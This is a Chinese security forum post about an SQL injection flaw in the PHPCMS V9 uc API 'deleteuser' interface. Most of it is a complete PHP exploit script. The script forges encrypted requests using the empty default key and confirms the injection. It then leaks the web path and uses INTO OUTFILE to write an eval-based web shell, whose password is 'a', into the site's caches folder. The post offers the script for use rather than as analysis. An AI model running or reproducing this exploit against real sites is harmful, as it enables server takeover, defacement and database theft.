找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1889|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。' m0 c8 J. ]/ ~9 n6 P0 n% P5 w

# k' m1 w9 ~; v  I所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。* q9 G  h+ S: ^7 w4 y4 u

! t" W) S5 J+ b% B! ]漏洞分析:
5 w8 X1 b2 Z1 i% a1 ]1.未启用ucenter服务的情况下uc_key为空
3 V9 p9 e7 a' x4 j& Q5 ~define('UC_KEY', pc_base::load_config('system', 'uc_key'));
% J! s! y( M5 Q' i* k6 v  v. g2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
( }+ t6 \- K# j    public function deleteuser($get,$post) {3 \, a9 n0 `7 u6 f' j
        pc_base::load_app_func('global', 'admin');! k- Q: }  Z5 F% `" R+ W
        pc_base::load_app_class('messagequeue', 'admin' , 0);" M  B* i6 j) s0 o1 b
        $ids = new_stripslashes($get['ids']);
5 N1 s0 a4 N; j5 \2 d1 F/ f2 z        $s = $this->member_db->select("ucuserid in ($ids)", "uid");& k  j5 d# Q. n$ p
SQL语句为
; N" Y) U3 ?( H1 d' x- y* z1 FSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
/ F: U2 A' K; ]& ~3 D; C7 c
9 D/ e( d5 }8 I. V利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell- ~) ?7 e9 F; J& B" }2 y; w
<?php
7 T2 E( I3 @3 N, j: u3 hprint_r('
% [' @5 r# ^8 k5 L- S---------------------------------------------------------------------------
0 f5 }! }# c; Y' KPHPcms (v9 or Old Version) uc api sql injection 0day( a! z2 [- i5 U2 ]
by rayh4c#80sec.com
+ ^9 s3 D( x2 w! \/ c---------------------------------------------------------------------------
+ @' V  t+ x! l. T) ^');
; U( W  T, a5 C* D7 I. p
3 D& U/ X  Z$ T- A3 J5 b( M( y6 Xif ($argc<3) {! K6 L5 G" W1 N# q0 W) l
    print_r('# d* F1 l" G& C" L
---------------------------------------------------------------------------1 M) P+ m! A+ \7 l
Usage: php '.$argv[0].' host path OPTIONS( O2 X2 T5 X# e$ o& y/ L
host:      target server (ip/hostname)
. u- s$ X3 ?. w6 V3 v% [path:      path to phpcms
! V' V' N2 b. U( P  b- U1 ^, sOptions:- v* b0 ?* x) z
-p[port]:    specify a port other than 80
% `1 |4 {) w% }8 g* Z -P[ip:port]: specify a proxy: o+ W7 B+ g. w1 p; c. V
Example:
2 f; {5 d( g2 k9 vphp '.$argv[0].' localhost /$ P. ~& j; Z* X/ ?2 ~4 g
php '.$argv[0].' localhost /phpcms/ -p81
3 c0 ^5 ]0 o+ f1 E' u, J! I8 uphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80. i; M  d$ A) q; I0 u. e! l7 _$ s
---------------------------------------------------------------------------) I7 e8 A" u$ m! F5 o  c  {
');
! G* g, g# i5 C: c5 H, a& s. D/ ^. X    die;" J: H1 [* d/ W1 J+ R* P$ n
}3 e" H. z# S% O( \) a

5 p$ H: Q' D# ]2 c4 A1 K2 y  Jerror_reporting(7);
( p4 P3 m2 n5 W. e5 q( z: p5 Lini_set("max_execution_time",0);
6 W2 z5 [4 H. i5 z# y+ vini_set("default_socket_timeout",5);) T. [5 Y; j1 X0 s' I! M
/ M$ z% e: N2 T- t$ T
function quick_dump($string), Y8 i7 h, x9 a+ i, u  R
{& A/ A6 f( t: N5 e3 L8 G
  $result='';$exa='';$cont=0;
5 o3 i5 k5 L7 k+ u  |$ V4 z+ P& h  for ($i=0; $i<=strlen($string)-1; $i++)# [0 ?4 j$ I4 i! m6 O3 {8 X8 |3 E
  {
, C+ B+ g& U/ ], l   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
* w% G" n+ g* E+ f& n+ P   {$result.="  .";}
1 R: A9 H/ Z% C+ n" J0 a   else
4 E- r+ ]& K/ \% W   {$result.="  ".$string[$i];}
3 o; A5 F$ O1 x   if (strlen(dechex(ord($string[$i])))==2)
+ c! u0 n3 Z. _; C# j   {$exa.=" ".dechex(ord($string[$i]));}* y  w+ W8 M& X0 H
   else! l9 C  X( P2 ]) a2 {# s: W) U
   {$exa.=" 0".dechex(ord($string[$i]));}4 |6 g8 ^7 v" Y
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
+ h/ [4 |3 i7 H7 h0 R% i& \) Z  }: k0 E. ?1 N. _/ a! c& n
return $exa."\r\n".$result;
" z  z$ W5 f- k9 l5 E0 \* g}
: B1 ^' \; A2 v, S$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
$ P( f3 j( z* B* \! k& D# l6 g+ L2 h0 m
function send($packet)0 `  D3 i* Y- Z5 t" h
{
1 t  h* z+ v) w: F  global $proxy, $host, $port, $html, $proxy_regex;+ g$ P3 l, @( y6 B: s1 v* s! N
  if ($proxy=='') {
3 r( g1 p5 R. Y( X" y8 Q4 }7 T    $ock=fsockopen(gethostbyname($host),$port);/ r3 f- {- F$ w( h1 L; ^& }$ c
    if (!$ock) {
4 F( @; `& l  M      echo 'No response from '.$host.':'.$port; die;. g* T( I% w6 g) \
    }
4 R( P9 V6 `3 V5 l9 x& s  }
" m! J8 b5 _' J# i  else {
  Q( i" r- h8 T& F7 }- Z$ H, Z        $c = preg_match($proxy_regex,$proxy);
/ C. U) s; D- V( L* \9 Q2 n    if (!$c) {% o& Z. G; I8 J: S3 @' c
      echo 'Not a valid proxy...';die;
* s9 O% D9 `5 g& @" b) E+ u& u0 {    }
% F0 O$ k. a# D, @; n+ e: N  U    $parts=explode(':',$proxy);
+ s% E3 \0 Q, f2 j' X; ~, E) B; N9 h    $parts[1]=(int)$parts[1];, @2 M- E/ k1 R% [- v/ n0 Z. j
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";# \9 a- r: E2 z$ A4 f) {
    $ock=fsockopen($parts[0],$parts[1]);5 N6 C* F: m5 t$ b% x2 C
    if (!$ock) {6 s; o6 p4 `# k2 g5 r- B9 w% `
      echo 'No response from proxy...';die;
7 I  G- I: t1 o& G; M" C        }
8 ~0 D! h" m, l, W  }. x6 G5 B6 \( J0 e5 v
  fputs($ock,$packet);
" y9 S9 ^" a. J9 `6 H  if ($proxy=='') {" R' l, c9 a' Z) X$ e# E
    $html='';
) z. T. U& \4 z1 I) K    while (!feof($ock)) {
, v% F! ^  E' i      $html.=fgets($ock);
% e9 m1 x2 i+ R/ Z    }' R6 w3 A4 T/ q5 }3 v+ R7 [1 \5 ~
  }
" T, G+ E. V  y5 Y' O8 i  else {
3 A3 a( j& X% L8 t    $html='';! e8 S: E5 V, U  b3 H
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {( c0 u+ I' s( O* o9 P! x
      $html.=fread($ock,1);+ H4 ?! m& d4 }6 h4 `( v. u
    }: q! k6 {) y9 W, g+ C% Y  o/ _" P# l
  }
$ u, Y9 @. Z8 c5 w  D  fclose($ock);
- M% q5 x, {8 X! b  {; y5 E, A; U1 {}+ |) P6 U& |& y/ o& i& `8 Y

3 A4 N4 j# s' M: w$host=$argv[1];
: b  c0 y* r9 t' q8 X7 s( M+ K" f$path=$argv[2];
$ `3 h( @2 \$ f+ U$ Z. P$port=80;; D" x9 e/ P% I7 A- v' [$ N% i
$proxy="";
3 ^+ |: l% L, @  M+ k! q( M' @for ($i=3; $i<$argc; $i++){
8 a0 j* z0 U( I$temp=$argv[$i][0].$argv[$i][1];' ]2 w+ z( }4 H; ^% T' ?7 ^  c
if ($temp=="-p")
8 i6 O) }! L" B2 C, J# X% G1 E{
* @# ?+ X. v; Q$ n. g$ V( g  $port=(int)str_replace("-p","",$argv[$i]);$ k* ?" |( t' b6 C( G* X7 S6 P1 X
}
' z  _! _  I1 h" @' rif ($temp=="-P")
0 r! q! j8 ^2 A{7 s% j' V( f$ F7 j' ]
  $proxy=str_replace("-P","",$argv[$i]);( T) H1 P# z4 W# B
}6 G- I* M! Y7 w3 @2 c1 R
}
( k2 ?3 v2 X: a' Q# F8 i) L
; n% {' ?9 h% s0 Lif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}6 J; O- s% v* S- m9 Y+ N
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}" j$ P" U( Y/ i$ C( ~8 g& y' L" [
' [2 }. F7 F" Y8 r7 b" ~( y
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {6 N* g, w" l5 I9 n0 T

. \, h9 H5 s* P; h3 w    $ckey_length = 4;& I9 Q7 F: q# F/ w/ `

: l) Z/ A$ S/ n' f% G; Q4 N7 Z$ L9 c    $key = md5($key ? $key : '');
8 Z* x$ j5 F7 w; K! j* h( Q    $keya = md5(substr($key, 0, 16));* P" ]/ R! E# _. P4 F+ T
    $keyb = md5(substr($key, 16, 16));$ J3 m0 J: i, U& ]: _5 I; \* g# h
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
  \8 X$ i5 _9 f0 e! M6 b9 k( n6 d5 L* e/ C) N* P8 P
    $cryptkey = $keya.md5($keya.$keyc);
: J) Q0 ^* l( S. R& O( O" I    $key_length = strlen($cryptkey);' s; ^( N+ }2 C

' ?! {. p+ ^. G1 b# ]) a8 I    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
3 v. O! l4 R0 n# x3 z1 Y* R    $string_length = strlen($string);
2 L) R! O# K- L: |( x  H/ D
% c2 y3 k5 [  N! ]    $result = '';
& D/ a* P) M+ }$ e0 P# N+ o    $box = range(0, 255);5 q, R2 n( @% c! c) ~& G; @: _/ l

& A) A4 Y' ?" Y+ ?- K' W    $rndkey = array();6 a: T( j5 v. m4 t5 s- U0 E
    for($i = 0; $i <= 255; $i++) {0 T. Z: {( d. K
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);6 Z0 W+ f  L4 X% j1 g* F( w3 Z
    }
' E3 G7 Y6 B) e  g1 i4 \: W% t# z5 q3 R
    for($j = $i = 0; $i < 256; $i++) {( m, e$ A; v  O+ {7 L
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
, K3 t/ J$ s1 {3 P* y        $tmp = $box[$i];' |: v3 m# D5 ~" {+ b" `
        $box[$i] = $box[$j];; [5 r* c( g" s, K2 g
        $box[$j] = $tmp;' |( d3 S0 g$ U  o5 m0 U5 D; W
    }: f5 b: G( @/ ~/ V! G8 A3 @* q
& O! h3 ^, R% s1 @7 d& {7 r
    for($a = $j = $i = 0; $i < $string_length; $i++) {; G' }# [- C+ K3 E# {9 z) g% t
        $a = ($a + 1) % 256;( h$ h" t+ y3 j  `  a
        $j = ($j + $box[$a]) % 256;$ ?7 P' U5 G5 L. @" L7 |; B, C
        $tmp = $box[$a];
, E% i# S  M( _' T! ?9 p8 c        $box[$a] = $box[$j];' P* w1 \# }. _5 d
        $box[$j] = $tmp;" v' y  ~) R+ w
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));4 w6 X5 }9 U2 P( K; Z; |/ j
    }( q. F/ w$ r  ~" w+ K/ z* @
- q8 o/ M* C/ U
    if($operation == 'DECODE') {
$ b6 G6 l+ Y- q- c) v5 w8 \        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {. q0 k( G. j) ^# E& D
            return substr($result, 26);: P$ W5 `5 Q& u% G
        } else {
. x, z4 c! f& V- c            return '';( q  c! l/ \# u. i. T) G1 d% x- P: s
        }* S. C3 V( X* h; w
    } else {
) e- K- l7 ]) o& n0 m        return $keyc.str_replace('=', '', base64_encode($result));, [/ K0 p- ~9 x! \
    }
1 e+ |2 N- q0 x) O) I# S; E" G2 F
' d1 @) n: v; [- ~6 `}: j) D; D6 N9 H& d$ ]& Q

& u  Q1 C6 k5 I( d. T$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
6 V3 [. Y6 U* I; _- |3 K; G$SQL = urlencode(authcode($SQL, "ENCODE", ""));
9 }+ u+ h$ E% _( D' u1 k- vecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
- [, f# p+ F0 N+ `$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";( T5 W1 Y( M6 u8 }; e
$packet.="User-Agent: Mozilla/5.0\r\n";$ B; @; L0 o5 h8 D% }
$packet.="Host: ".$host."\r\n";+ z2 j8 D% T, f1 a" l9 H8 u" d
$packet.="Connection: Close\r\n\r\n";: Y; X7 n% b% w% @1 }# C7 P# y4 H
send($packet);
, j. U7 _" z" y0 K$ n0 Jif(strpos($html,"MySQL Errno") > 0){: @/ r3 y& c2 M4 h/ t9 m1 q
echo "[2] 发现存在SQL注入漏洞"."\n";% x% Q6 u: k* Z+ S% Y& r, _# s7 c
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";) x/ W1 }0 P4 `6 o7 P# {
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
8 f9 ~% k9 d8 }/ N* I$packet.="User-Agent: Mozilla/5.0\r\n";
4 f4 G. H3 t4 A/ J$ m# V; n: `$packet.="Host: ".$host."\r\n";
4 t- B2 e/ h+ v$packet.="Connection: Close\r\n\r\n";
$ I. B$ W9 `9 e* H; j) H: P. Fsend($packet);% p8 q+ p0 @2 [3 p
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
6 N: Q) r3 [; h//print_r($matches);# s- l8 p6 t5 L1 Z- W' e) e) Q
if(!empty($matches)){
* z9 f1 M/ ]. J7 o: L1 jecho "[4] 得到web路径 " . $matches[0]."\n";
0 I2 H' s9 V# N8 J  S7 Vecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";* W1 ^. L+ |7 I
$SQL = "time=999999999999999999999999&ids=1)";
3 C. ]- D4 f% Z( t" A$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";& o$ n) [9 j( o' V2 ~/ g9 k$ A
$SQL.="&action=deleteuser";
7 a+ g# ?9 }8 k$SQL = urlencode(authcode($SQL, "ENCODE", ""));1 \: A3 \: r" q& s3 k1 l" x
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
: u9 Q1 E$ T. X) ?1 |* L, `9 f2 F$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
; |8 R/ ^- R& h4 y3 G2 D. u/ i& u2 y$packet.="User-Agent: Mozilla/5.0\r\n";
$ y( W) O- Z1 s2 W; B7 S  R) ?$packet.="Host: ".$host."\r\n";
' |  g3 o- p4 s0 M# {* j$packet.="Connection: Close\r\n\r\n";, F5 U% B7 U9 ]8 h: _
send($packet);/ T1 X1 g8 n6 S- _" \5 A& R* g
if(strpos($html,"Access denied") > 0){
2 T, o5 d& x+ ?  R/ m/ g( aecho "[-] MYSQL权限过低 禁止写入文件 ";' R/ O/ E7 B- D
die;- P9 {% H" a/ f  j& b8 Q0 |/ F
}
, M  W! G$ W" d$ R9 Qecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";& C0 e2 q  l0 {7 j
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
+ Q5 r# z, }' I' j& A$packet.="User-Agent: Mozilla/5.0\r\n";. M6 F! k& j( u1 g, X
$packet.="Host: ".$host."\r\n";% c. B$ e+ W# d7 J9 K$ ?* A
$packet.="Connection: Close\r\n\r\n";" o6 o5 U# X; @/ O
send($packet);
& d; t& G, V: J3 O  Wif(strpos($html,"<title>phpinfo()</title>") > 0){; v# y8 N. \$ I& p0 Q
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";0 f' N0 {. G: N+ B4 ]; f
}
" J# Z+ x* h3 E# u# J! ^}else{
( m- y( v: d( N9 A, p! k/ D- }echo "[-]未取到web路径 ";- b' c2 V( n4 ?6 s
}
7 u* i: u5 l9 g/ q5 Y/ |7 L}else{
! ~* k0 o/ t% }* [2 Iecho "[*]不存在SQL注入漏洞"."\n";
& c8 K  U/ f# J' g$ T}
6 ]- A+ X' U  v: e
9 t) k' c" x* [) u8 O$ X?>( B' }9 I4 c: J& b  `1 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表